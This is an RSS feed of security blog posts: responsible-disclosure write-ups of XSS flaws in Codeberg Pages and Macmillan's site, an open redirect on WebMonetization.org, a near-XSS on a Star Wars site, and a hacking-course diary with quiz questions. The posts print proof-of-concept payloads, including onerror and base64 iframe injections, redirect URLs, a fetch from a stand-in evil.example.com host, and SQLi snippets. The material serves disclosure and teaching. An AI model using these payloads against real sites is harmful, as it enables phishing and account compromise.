<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/rss-style.xsl" type="text/xsl"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	     xmlns:dc="http://purl.org/dc/elements/1.1/"
	   xmlns:atom="http://www.w3.org/2005/Atom"
	     xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	  xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>xss &#8211; Terence Eden’s Blog</title>
	<atom:link href="https://shkspr.mobi/blog/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>https://shkspr.mobi/blog</link>
	<description>Regular nonsense about tech and its effects 🙃</description>
	<lastBuildDate>Tue, 03 Mar 2026 11:25:26 +0000</lastBuildDate>
	<language>en-GB</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://shkspr.mobi/blog/wp-content/uploads/2023/07/cropped-avatar-32x32.jpeg</url>
	<title>xss &#8211; Terence Eden’s Blog</title>
	<link>https://shkspr.mobi/blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title><![CDATA[Security Flaws in the WebMonetization Site]]></title>
		<link>https://shkspr.mobi/blog/2025/08/security-flaws-in-the-webmonetization-site/</link>
					<comments>https://shkspr.mobi/blog/2025/08/security-flaws-in-the-webmonetization-site/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 26 Aug 2025 11:34:33 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[CyberSecurity]]></category>
		<category><![CDATA[Responsible Disclosure]]></category>
		<category><![CDATA[WebMonetization]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=62468</guid>

					<description><![CDATA[I&#039;ve written before about the nascent WebMonetization Standard. It is a proposal which allows websites to ask users for passive payments when they visit. A visitor to this site could, if this standard is widely adopted, opt to send me cash for my very fine blog posts.  All I need to do is add something like this into my site&#039;s source code:  &#60;link rel=&#34;monetization&#34;…]]></description>
										<content:encoded><![CDATA[<p>I've written before about <a href="https://shkspr.mobi/blog/2025/03/how-to-prevent-payment-pointer-fraud/">the nascent WebMonetization Standard</a>. It is a proposal which allows websites to ask users for passive payments when they visit. A visitor to this site could, if this standard is widely adopted, opt to send me cash for my very fine blog posts.</p>

<p>All I need to do is add something like this into my site's source code:</p>

<pre><code class="language-html">&lt;link rel="monetization" href="https://wallet.example.com/edent"&gt;
</code></pre>

<p>A user who has a WebMonetization plugin can then easily pay me for my content.</p>

<p>But not every website is created by an individual or a single entity. Hence, the creation of the "<a href="https://webmonetization.org/tools/prob-revshare/">Probabilistic Revenue Share Generator</a>".</p>

<blockquote><p>Probabilistic revenue sharing is a way to share a portion of a web monetized page's earnings between multiple wallet addresses. Each time a web monetized user visits the page, a recipient will be chosen at random. Payments will go to the chosen recipient until the page is closed or reloaded.</p></blockquote>

<p>Nifty! But how does it work?</p>

<p>Let's say a website is created by Alice and Bob. Alice does most of the work and is to receive 70% of the revenue. Bob is to get the remaining 30%.  Within the web page's head, the following meta element is inserted:</p>

<pre><code class="language-html">&lt;link
   rel="monetization"
   href="https://webmonetization.org/api/revshare/pay/W1siaHR0cHM6Ly9leGFtcGxlLmNvbS8iLDcwLCJBbGljZSJdLFsiaHR0cHM6Ly93aGF0ZXZlci50ZXN0LyIsMzAsIkJvYiJdXQ"
/&gt;
</code></pre>

<p>The visitor's WebMonetization plugin will visit that URl and be redirected to Alice's site 70% of time and Bob's 30%.</p>

<p>If we Base64 decode that weird looking URl, we get:</p>

<pre><code class="language-json">[
   [
      "https://example.com/",
       70,
      "Alice"
   ],
   [
      "https://whatever.test/",
       30,
      "Bob"
   ]
]
</code></pre>

<p>Rather than adding multiple URls in the head, the site points to one resource and lets that pick who receives the funds.</p>

<p>There are two small problems with this.</p>

<p>The first is that you have to trust the WebMonetization.org website. If it gets hijacked or goes rogue then all your visitors will be paying someone else. But let's assume they're secure and trustworthy. There's a slightly more insidious threat.</p>

<p>Effectively, this allows an untrusted 3rd party to use the WebMonetization.org domain as an open redirect. That's useful for phishing and other abuses.</p>

<p>For example, an attacker could send messages encouraging people to visit:</p>

<p><a href="https://webmonetization.org/api/revshare/pay/W1siaHR0cHM6Ly9leGFtcGxlLmNvbS8iLDk5LCJpbWciXV0">https://webmonetization.org/api/revshare/pay/W1siaHR0cHM6Ly9leGFtcGxlLmNvbS8iLDk5LCJpbWciXV0</a></p>

<p>Click that and you'll instantly be redirected to a domain under the attacker's control. This could be particularly bad if the domain encouraged users to share passwords or other sensitive information.</p>

<p>If the Base64 data cannot be decoded to valid JSON, the API will echo back any Base64 encoded text sent to it. This means an attacker could use it to send obfuscated messages. Consider, tor example:</p>

<p><a href="https://webmonetization.org/api/revshare/pay/W1siUGxlYXNlIHZpc2l0IFJlYWxfZ29vZF9DYXNpbm9zLmJpeiBmb3IgbG90cyBvZiBDcnlwdG8gZnVuISEhIiwxMjM0NTYsImltZyJdXQ==">https://webmonetization.org/api/revshare/pay/W1siUGxlYXNlIHZpc2l0IFJlYWxfZ29vZF9DYXNpbm9zLmJpeiBmb3IgbG90cyBvZiBDcnlwdG8gZnVuISEhIiwxMjM0NTYsImltZyJdXQ==</a></p>

<p>Visit that and you'll see a message. With a bit of effort, it could be crafted to say something to encourage a visitor to enter their credentials elsewhere.</p>

<p>When I originally reported this, the site could be used to to smuggle binary payloads. For example, <a href="https://webmonetization.org/api/revshare/pay/W1siZGF0YTppbWFnZS93ZWJwO2Jhc2U2NCxVa2xHUmtnQkFBQlhSVUpRVmxBNElEd0JBQUNRQ0FDZEFTb3dBREFBUHJWUW4weW5KQ0tpSnl0bzRCYUphUUFJSXN4NEF1OWRoRHFWQTFpMVJvUlRPN25iZHl5MDNuTTVGaHZWNjJnb1VqMzd0dXhxcGZwUGVUQlp2cko3OHcwcUFBRCsvaFZ5Rkh2WVhJck1Dam55MHo3d3FzQjkvUUUwOHhscy9BUWRYSkZYMGFkRzlsSVNzbTZrVjk2SjVGSU5CRlh6SHdmek1DcjRONnIzejUvQWEvd2ZFb1ZHWDNIOTc2c2hlM2p5UzhScUp2N0p3N2JPeG9UU1BsdTRnTmJmWFlaOVRuYmRRME1Obk1PYnlhUlFMSXU1NTZqSWowM3pmSnJWZ3FSTThHUHdSb1diMU05QWZ6RmU2TXRnMTN1RUlxclRIbWl1QnBIK2JUVkI1RUVRM3VieTBDLy9YT0FQSk9GdjRRVjhSWkRQUWQ1MTdLaHliYThKbHI5N2oya0lCSkQ5SzNtYk9IU0hpUURhc2o2WTNmb3JBVGJJZzRRWkh4V25DZXFxTWtWWWZVQWl2dUwwTC82OG1NbmFnQUFBIiw4OCwiaW1nIl1d">this URl would display an image</a> - however, it seems to have been fixed.</p>

<p>Nevertheless, it is important to recognise that the WebMonetization.org domain contains an <a href="https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html">unvalidated redirect and forwarding</a> vulnerability.</p>

<p>I recommended that they ensured that the only URls which contain legitimate payment pointers should be returned. I also suggested setting a maximum limit for URl size.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2025/08/security-flaws-in-the-webmonetization-site/#timeline">Timeline</a></h2>

<ul>
<li>2025-03-27 - Discovered and disclosed.</li>
<li>2025-08-05 - Remembered I'd submitted it and sent a follow up.</li>
<li>2025-08-26 - Automatically published.</li>
<li><ins datetime="2025-08-27T15:37:49+00:00">2025-08-27</ins> - A day after this post was published, <a href="https://github.com/interledger/publisher-tools/issues/85">the issue was made public on their repo</a>.</li>
<li><ins datetime="2025-09-11T12:25:32+00:00">2025-09-10</ins> - <a href="https://github.com/interledger/publisher-tools/issues/85#issuecomment-3274623144">Confirmed fixed</a>.</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=62468&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2025/08/security-flaws-in-the-webmonetization-site/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsible Disclosure: XSS in Codeberg Pages]]></title>
		<link>https://shkspr.mobi/blog/2023/01/responsible-disclosure-xss-in-codeberg-pages/</link>
					<comments>https://shkspr.mobi/blog/2023/01/responsible-disclosure-xss-in-codeberg-pages/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Mon, 02 Jan 2023 12:34:07 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[Responsible Disclosure]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=44342</guid>

					<description><![CDATA[Codeberg is a hip new code hosting site - similar to GitHub and GitLab.  And, much like Gits Hub &#38; Lab, users can serve static content through Codeberg pages.  Somehow I screwed up my configuration, and when I visited edent.codeberg.page/abc123 I got this error:    Now, whenever I see something from the request echoed into the page&#039;s source, my hacker-sense starts tingling.  What happens if I…]]></description>
										<content:encoded><![CDATA[<p><a href="https://codeberg.org/">Codeberg</a> is a hip new code hosting site - similar to GitHub and GitLab.  And, much like Gits Hub &amp; Lab, users can serve static content through Codeberg pages.</p>

<p>Somehow I screwed up my configuration, and when I visited <code>edent.codeberg.page/abc123</code> I got this error:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/12/Not-Found.png" alt="Screenshot of a 404 not found page. The name of the path is displayed on the page." width="480" height="428" class="aligncenter size-full wp-image-44343">

<p>Now, whenever I see something from the request echoed into the page's source, my hacker-sense starts tingling.  What happens if I shove an innocent HTML element into the URl?</p>

<p><code>edent.codeberg.page/abc&lt;em&gt;123</code></p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/12/Italics.png" alt="Screenshot of the same page. Half the text is italic." width="480" height="428" class="aligncenter size-full wp-image-44344">

<p>Aha! It lets through some HTML. I wonder which other elements it lets through? Let's try...</p>

<p><code>edent.codeberg.page/abc&lt;img src="https://placecats.com/640/640"&gt;123</code></p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/12/img.png" alt="Screenshot showing a broken image icon." width="480" height="428" class="aligncenter size-full wp-image-44345">

<p>Ah nuts! Let's look in to the source code to see what went wrong:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/12/code.png" alt="Screenshot of HTML code. The URl is truncated at the colon." width="1024" height="251" class="aligncenter size-full wp-image-44346">

<p>It seems that the back end code has <em>some</em> protection. It strips all <code>/</code> characters. That makes it impossible to inject a working <code>&lt;script&gt;</code> element because there will never be a <code>&lt;/script&gt;</code> to close it.</p>

<p>We can't even use my favourite little trick of Base64 encoding the contents of an <code>&lt;iframe&gt;</code>:</p>

<pre><code class="language-html">&lt;iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTISIpOzwvc2NyaXB0Pg=="&gt;
</code></pre>

<p>Manually removing the <code>/</code> led to this:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/12/iframe.png" alt="Screenshot of a page with an iframe. It displays some Javascript in plain text." width="480" height="420" class="aligncenter size-full wp-image-44347"></p>

<p>No forward slashes makes things like <code>&lt;svg&gt;</code> injection difficult - if not impossible.  Hmmm... what can we do...? I know!</p>

<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/error_event"><code>onerror</code> event handler</a>.</p>

<p><code>test.codeberg.page/abc&lt;img src=1 onerror=alert("xss") ;</code></p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/12/xss.png" alt="An XSS pop up alert on a webpage." width="540" height="482" class="aligncenter size-full wp-image-44348">

<p>Boom!</p>

<p>Let this be a lesson to you - <em>always</em> sanitised user-supplied content, no matter how innocuous it seems.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2023/01/responsible-disclosure-xss-in-codeberg-pages/#timeline">Timeline</a></h2>

<ul>
<li>2022-12-02 Discovered. Emailed support, got a secure address to email, sent disclosure.</li>
<li>2022-12-05 Tested and discovered that it had been fixed.</li>
<li>2023-01-02 Blog post automatically published.</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=44342&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/01/responsible-disclosure-xss-in-codeberg-pages/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsible Disclosure: XSS in Macmillan's Website]]></title>
		<link>https://shkspr.mobi/blog/2022/08/responsible-disclosure-xss-in-macmillans-website/</link>
					<comments>https://shkspr.mobi/blog/2022/08/responsible-disclosure-xss-in-macmillans-website/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 10 Aug 2022 11:34:59 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42617</guid>

					<description><![CDATA[Another day, another unfiltered reflection of user-supplied content!  You know how this goes by now. You type into a search box &#60;em&#62;test and the whole page suddenly turns italic. Luckily, the Macmillan Publishers&#039; website filtered out any &#60;script&#62; elements it encountered. But that still leaves the attacker with the ability to draw SVGs over the page or, more maliciously, start harvesting…]]></description>
										<content:encoded><![CDATA[<p>Another day, another unfiltered reflection of user-supplied content!</p>

<p>You know how this goes by now. You type into a search box <code>&lt;em&gt;test</code> and the whole page suddenly turns italic. Luckily, the Macmillan Publishers' website filtered out any <code>&lt;script&gt;</code> elements it encountered. But that still leaves the attacker with the ability to <a href="https://shkspr.mobi/blog/2020/02/responsible-disclosure-john-lewis/">draw SVGs over the page</a> or, more maliciously, start harvesting usernames, passwords, and credit card details from unwary visitors.</p>

<p>Here's a quick example of what an attacker could do:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/05/credit-card.png" alt="Screenshot of the Macmillan website. The search box has some HTML in it - the page now looks like it says " please="" enter="" your="" credit="" card="" details"="" with="" a="" big="" submit="" button."="" width="961" height="927" class="alignnone size-full wp-image-42618">

<p>It doesn't stop with being able to deface the page, of course. Being able to inject a <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta#attr-http-equiv"><code>&lt;meta&gt;</code> element</a> allows an attacker to instantly redirect the user to a different page:</p>

<pre><code class="language-html">&lt;meta http-equiv="refresh" content="0;url=https://example.com" /&gt;
</code></pre>

<p>Which, when encoded, looks like:</p>

<pre><code class="language-_">https://us.macmillan.com/?q=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%222%3B%20url%20%3D%20https%3A%2F%2Fexample.com%22%20%2F%3E
</code></pre>

<p>We can go even further. An <code>&lt;iframe&gt;</code> can be injected. And, to bypass any filtering on the server side, its <code>src</code> can be Base64 encoded:</p>

<pre><code class="language-html">&lt;iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTISIpOzwvc2NyaXB0Pg=="&gt;
</code></pre>

<p>Which results in:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/08/xss.png" alt="Acreenshot showing a pop-up on a website." width="1210" height="627" class="alignnone size-full wp-image-42641">

<p>Macmillan don't have a publicly available <a href="https://securitytxt.org/"><code>security.txt</code></a> contact - so I dropped them an email. Their website was built by <a href="https://www.supadu.com">Supadü</a> who also don't provide a dedicated way for security researchers to contact them - so another email was sent off.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2022/08/responsible-disclosure-xss-in-macmillans-website/#timeline">Timeline</a></h2>

<ul>
<li><time>2022-05-08</time> Discovered. Contact messages sent to Macmillan and Supadü.</li>
<li><time>2022-05-11</time> <a href="https://www.openbugbounty.org/reports/2615509/">Reported via OpenBugBounty</a>.</li>
<li><time>2022-06-07</time> <a href="https://twitter.com/edent/status/1534127780337659906">Tried to make contact via Twitter</a>.</li>
<li><time>2022-06-12</time> Emailed the web developer with details.</li>
<li><time>2022-07</time> Several more emails to Macmillan and and Supadü. No response.</li>
<li><time>2022-07-26</time> I noticed that the issue had been fixed. I asked Supadü if they offered a bug bounty. Their response was "No absolutely not". Well, that told me!</li>
<li><time>2022-08-10</time> Automatically published.</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42617&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/08/responsible-disclosure-xss-in-macmillans-website/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[(Nearly) An XSS in Star Wars .com]]></title>
		<link>https://shkspr.mobi/blog/2022/07/nearly-an-xss-in-star-wars-com/</link>
					<comments>https://shkspr.mobi/blog/2022/07/nearly-an-xss-in-star-wars-com/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Mon, 04 Jul 2022 11:34:13 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Star Wars]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42825</guid>

					<description><![CDATA[You remember that bit in Star Wars where the Rebels find the flaw in the Death Star plans and then completely fail to exploit it? Yeah, that&#039;s why they don&#039;t make movies about inept hackers like me…  Anyway, the website https://play.starwars.com/html5/starwars_crawlcreator/ allows users to create their own &#34;Star Wars&#34; style crawl.  It&#039;s a fun little site - but it has a few flaws.  Whenever you l…]]></description>
										<content:encoded><![CDATA[<p>You remember that bit in Star Wars where the Rebels find the flaw in the Death Star plans and then completely fail to exploit it? Yeah, that's why they don't make movies about inept hackers like me…</p>

<p>Anyway, the website <a href="https://play.starwars.com/html5/starwars_crawlcreator/"></a><a href="https://play.starwars.com/html5/starwars_crawlcreator/">https://play.starwars.com/html5/starwars_crawlcreator/</a> allows users to create their own "Star Wars" style crawl.  It's a fun little site - <a href="https://shkspr.mobi/blog/2022/07/saay-what/">but it has a few flaws</a>.</p>

<p>Whenever you let people enter content which is displayed back on the screen, there's a possibility that they'll be able to add unwanted content. The website had a basic swear filter - but other than that it didn't sanitise any user content. Which meant a user could paste in some Javascript and have it execute - like this:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/XSS-in-Star-Wars.png" alt="An XSS pop-up on a Star Wars website." width="1024" height="596" class="alignnone size-full wp-image-42826">

<p>That's bad - but not too bad. The user can only run the JS against themselves. What if there were a way to send a victim a link to that specific crawl and have the JS execute on the target's machine?</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/sharing-screenshot.png" alt="The site lets you share to Twitter, Facebook, Google Plus, and email. It also offers an embed option." width="1224" height="700" class="alignnone size-full wp-image-42827">

<p>Aha! The evildoer can stuff a load of malicious Javascript in the crawl and then post it to social media.</p>

<p>Except, thankfully / sadly, that doesn't work. As you might be able to tell from the Google+ option, this is a <em>very</em> old site.  When a crawl is created, it is meant to be saved with a unique ID via a storage API. That API is hardcoded to <code>play.starwars.com/api/storage/v1/crawlcreator</code> - but is no longer functional.</p>

<p>So that vector is banjaxed? Not quite!  The unique ID is passed as a GET parameter <code>cid</code>.  It's usually a long string of random numbers, for example <code>?cid=123456</code>.  The code to read the <code>cid</code> is:</p>

<pre><code class="language-_">var get = new XMLHttpRequest();
get.open(&amp;#039;GET&amp;#039;, App.simpleStorage+&amp;#039;/&amp;#039;+cid);
</code></pre>

<p>Usually, that would make an HTTP request to <code>play.starwars.com/api/storage/v1/crawlcreator/123456</code></p>

<p>What if it is passed something <em>other</em> than a number?</p>

<p>Passing <code>?cid=/../../../../../../../../../example/</code> fires off a request to <code>play.starwars.com/example/</code> - a successful directory traversal attack. But, unless there's a stored bit of vulnerable JS somewhere else on <code>play.starwars.com</code>, a bit useless.</p>

<p>Digging around the site shows that it runs an ancient version of jQuery - v2.0.3. That specific version is <a href="https://github.com/jquery/jquery/issues/2432">vulnerable to some nasty exploits</a>.  It will execute any JS it receives - so running something like:</p>

<pre><code class="language-js">$.get(&amp;#039;https://evil.example.com/xss&amp;#039;)
</code></pre>

<p>Will immediately run code loaded from elsewhere.</p>

<p>Could these be chained together to craft a dastardly exploit? I certainly couldn't see a way to do it.  But, as I am a goodie, I reported it via HackerOne.  At the very least, I thought it would be useful for Disney to know that the site needed updating.</p>

<p>HackerOne swiftly evaluated the issues and - probably quite rightly - closed it as a self-XSS.</p>

<p>I think it's useful to blog about one's failures as well as successes. This didn't lead down a path which earned me a stonking Bug Bounty, but it was an interesting exercise to see just how far an outdated site can be compromised.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42825&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/07/nearly-an-xss-in-star-wars-com/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Certified in The Art of Hacking - Day 5]]></title>
		<link>https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/</link>
					<comments>https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 05 Nov 2021 12:34:51 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[Certified in The Art of Hacking]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[MSc]]></category>
		<category><![CDATA[NaBloPoMo]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=40794</guid>

					<description><![CDATA[This is a diary of what I&#039;ve learned. Hopefully it will let other learners know what the course is like, and if it is worthwhile. Oh, and it might just help me remember what I&#039;m learning!  Verdicts  Some of the lab tasks were impossible without looking at the cheat sheet. I got stuck on one because the question told me to go to one URl, but I had to guess the one which was vulnerable. Felt like a …]]></description>
										<content:encoded><![CDATA[<p>This is a diary of what I've learned. Hopefully it will let other learners know what the course is like, and if it is worthwhile. Oh, and it might just help me remember what I'm learning!</p>

<h2 id="verdicts"><a href="https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/#verdicts">Verdicts</a></h2>

<p>Some of the lab tasks were impossible without looking at the cheat sheet. I got stuck on one because the question told me to go to one URl, but I had to guess the one which was vulnerable. Felt like a bit of a "gotcha" moment. Perhaps in a proper lab environment it might have made more sense - but because we're mostly just learning how to use tools, I wasn't really prepared to use my critical thinking skills!</p>

<p>Only a half day, again. Good discussion of XSS and CSRF - but only a surface discussion of what they can do and how to prevent them.  That's the problem with these sorts of courses - they can only say "sanitise user input", they can't <em>explain</em> how to do it for every environment.</p>

<p>SQL Injection. Good length of session. The standard Little Bobby Tables joke. And quite focused on Burp Suite and SQLMAP. A small bit on preventing them with parametrised queries.</p>

<p>CIA triad was briefly mentioned - but not really discussed. I would have expected more on that as it is fairly fundamental.</p>

<p>XXE. Malicious XML files. Billion Laughs Attack was (very) briefly covered.</p>

<p>Web shells from insecure file upload. A few tricks on how to fool UGC checkers. But not too much on defending.</p>

<p>The object serialisation stuff seemed a bit obscure. Not sure how relevant that is to the real world - but interesting none the less.</p>

<p>In the end, my overall verdict is that this is a good practical course. But because it covers so much, and spends so long setting up environments, it only gives a brief overview. It's rather geared towards specific tools - and that means lots of syntax memorisation for the exam.</p>

<h2 id="the-exam"><a href="https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/#the-exam">The Exam</a></h2>

<p>I <strong>fucking hate</strong> exams. There are very few times in life where you have a hard deadline, no one to help, and no ability to consult external sources.</p>

<p>Because of the intrusive spyware used on their proctoring system (more on that tomorrow), I'm going to have to go to a test centre to take the exam.</p>

<p>The exam gives 70 minutes to complete 50 multiple choice questions. 50% needed for a pass mark. That seems achievable. But it really depends on how many Windows questions there are, and how many ask me to precisely remember command line options.</p>

<p><a href="https://xkcd.com/1168/"><img src="https://imgs.xkcd.com/comics/tar.png" width="713" height="229" alt="XKCD comic.     [Megan and White Hat stand next to a nuclear bomb. The bomb has a hatch open on top, and a small blinking screen. The two people are shouting off-screen.]     Megan: Rob! You use Unix!     White Hat: Come quick!      [Megan, White Hat, and Rob look at the screen on the bomb. Rob peers closely. The screen is on the bomb, but is shown at the top of the panel in black with white letters, except " tar"="" and="" the="" last="" underscore="" which="" is="" in="" gray="" "ten"="" black="" but="" written="" a="" white="" box.="" text="" reads:]="" to="" disarm="" bomb,="" simply="" enter="" valid="" tar="" command="" on="" your="" first="" try.="" no="" googling.="" you="" have="" ten="" seconds.="" ~#="" _="" [they="" all="" stand="" same="" position,="" without="" displayed.="" beat="" panel.]="" [still="" position="" hat="" becomes="" impatient.]="" hat:="" ...rob?="" rob:="" i'm="" so="" sorry."="" class="aligncenter size-medium"></a></p>

<h2 id="practice-questions"><a href="https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/#practice-questions">Practice questions</a></h2>

<p>The first time I scored 10/10. I know this stuff ☺</p>

<ol>
<li>John has run dirbuster against a target website looking for possible pages to investigate and receives the following results. What does the 401 response mean?

<ul>
<li>HTTP 401 response means that the page is not available</li>
<li>HTTP 401 response means that the server has returned an internal error</li>
<li>HTTP 401 response means that the client should use the version in its cache</li>
<li>HTTP 401 response means that the resource is available, but requires authentication credentials to be able to be accessed</li>
</ul></li>
<li>What port does BurpSuite use by default?

<ul>
<li>80</li>
<li>4444</li>
<li>8888</li>
<li>8080</li>
</ul></li>
<li>What file is commonly used to inform search engines about the folders/files they are forbidden to index?

<ul>
<li>robots.txt</li>
<li>index.html</li>
<li>search.csv</li>
<li>spider.txt</li>
</ul></li>
<li>Sally wishes to retrieve all the pdf documents from targetsite.com. Which of the following Google Dorks would satisfy that demand?

<ul>
<li>intitle:index_of *.pdf location:targetsite.com</li>
<li>site:targetsite.com filetype:pdf</li>
<li>pdf domain:targetsite.com</li>
<li>targetsite.com filetype:pdf</li>
</ul></li>
<li>Connor is experimenting with a XSS vulnerability on a website. He uploads the following script but gets no response. What is the issue here? <code>&lt;script&gt;alert(XSS);&lt;/script&gt;</code>

<ul>
<li>The syntax should be <code>&lt;script&gt;alert("XSS");&lt;/script&gt;</code></li>
<li>The syntax should be <code>&lt;script alert("XSS); /&gt;</code></li>
<li>syntax should be <code>&lt;script&gt;alert="XSS";&lt;/script&gt;</code></li>
<li>syntax should be <code>&lt;script&gt;display.alert("XSS");&lt;/script&gt;</code></li>
</ul></li>
<li>Fiona has identified a vulnerable web app that allows her to perform SQLi. She wants to identify what database is behind the web app. What SQLi command would allow Fiona to get this data?

<ul>
<li>SELECT @@information_schema --</li>
<li>@@version --</li>
<li>@@database --</li>
<li>@@schema--</li>
</ul></li>
<li>Jonas has identified a vulnerable web app that allows SQLi. He is using SQLMap to explore the system. What command should Jonas use to enumerate the available databases on the server?

<ul>
<li>--database</li>
<li>--layout</li>
<li>--dbs</li>
<li>--db</li>
</ul></li>
<li>Which of the following file uploads should you prohibit if you wanted to ensure no-one can upload malicious files to your webserver?

<ul>
<li>file.asp:.jpg</li>
<li>file.php.jpg</li>
<li>php%00.jpg</li>
<li>All of them</li>
</ul></li>
<li>True or False, SSL v3.0 offers better encryption than TLS v1.2

<ul>
<li>True</li>
<li>False</li>
</ul></li>
<li>Complete the sentence... HTTP is classed as a ________ protocol

<ul>
<li>secure</li>
<li>stateless</li>
<li>web 2.0</li>
<li>dynamic</li>
</ul></li>
</ol>

<h2 id="notes"><a href="https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/#notes">Notes</a></h2>

<p>XSS. Recap. Can be from HTTP headers, cookies, and other weird things - not just GET.  Can persist on the server.</p>

<p>Impact - phishing, hijack cookies, use browser exploitation, BitCoin mining.</p>

<p>Bug bounties available.</p>

<p>How <em>not</em> to prevent. Don't use blacklist regex - easy to bypass. XSS can work without script tags, eg onmouseover. UTF-7 encoding, URL encoding.</p>

<p>CSRF - cross site request forgery. Not stealing cookies and credentials. Force the user's browser to connect to a previously authorised site. Session Riding or Confused Deputy.  Eg craft a link which forces the user to change their password on a different site. Relies on predictable patterns. Use of random tokens per request - which are then verified.  Tokens shouldn't be reusable.</p>

<p>SQL injection. Can take input from the user, no filtering, pass requests directly to the DB. Good way to exfiltrate data - or even destroy it. Use of single quotes, boolean operators, balancing syntax.</p>

<p>Error based SQLi - see the stack trace etc from error messages. UNION operator - concatenate multiple queries - first legit, 2nd malicious. Blind - you can't see the results. Time Based - if my request is OK, sleep for 5 seconds. Out of Band - rare, depends of privileges being enabled when they shouldn't be.</p>

<p>String vs integer.</p>

<p><code>Select X from Y where Z UNION SELECT @@version--</code></p>

<p>Metadata table - <code>information_schema</code></p>

<p>Pentest Monkey cheat sheets.</p>

<p>Concatenate results.</p>

<p>UDF - user defined functions to run code on machine. Local File Access. Create web shell by browsing to maliciously uploaded code.</p>

<p>Use of ASCII values rather than quoted strings. Blind injection - observe the difference in what is returned by a true or false query.</p>

<p>Principle of least privilege. Make sure the website can only read. A separate trusted process to write. <code>root</code> and <code>sa</code>(?) shouldn't be enabled from the web.</p>

<p>SQLMAP tool. Use of, find vulns, get tables, set up proxy to Burp.</p>

